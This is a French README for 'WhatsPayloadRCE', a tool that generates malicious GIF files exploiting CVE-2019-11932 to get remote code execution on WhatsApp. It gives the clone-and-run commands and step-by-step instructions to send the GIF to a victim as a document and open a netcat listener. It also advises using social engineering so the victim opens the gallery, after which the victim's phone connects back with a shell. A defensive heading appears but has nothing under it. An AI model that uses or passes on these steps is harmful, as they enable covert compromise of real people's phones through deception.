WhatsPayloadRCE

Ceci est un générateur automatisé de payload pour CVE-2019-11932 (Exécution de code à distance sur WhatsApp)

1. Installation automatique de GCC (commande sans danger, vous pouvez voir que c'est open-source)
2. Sauvegarde au format .GIF

Comment l'utiliser ?

sudo apt install git
git clone https://github.com/Err0r-ICA/WhatsPayloadRCE
cd WhatsPayloadRCE && bash start

Capture d'écran

Comment obtenir un shell ?

1. Envoyez simplement le fichier .GIF à la victime EN TANT QUE DOCUMENT, PAS D'IMAGE
2. Et configurez le nc / netcat sur le port que vous avez défini dans l'outil WhatsRCE {nc -lnvp votre_port}
3. Vous pouvez utiliser une attaque d'ingénierie sociale pour que la victime soit attirée et déclenche cette exploitation
4. Dites à la victime d'ouvrir la galerie via WhatsApp et envoyez-lui n'importe quelle photo. Ensuite, quelques secondes plus tard, vous recevrez une connexion shell de la victime

Comment éviter cette attaque ?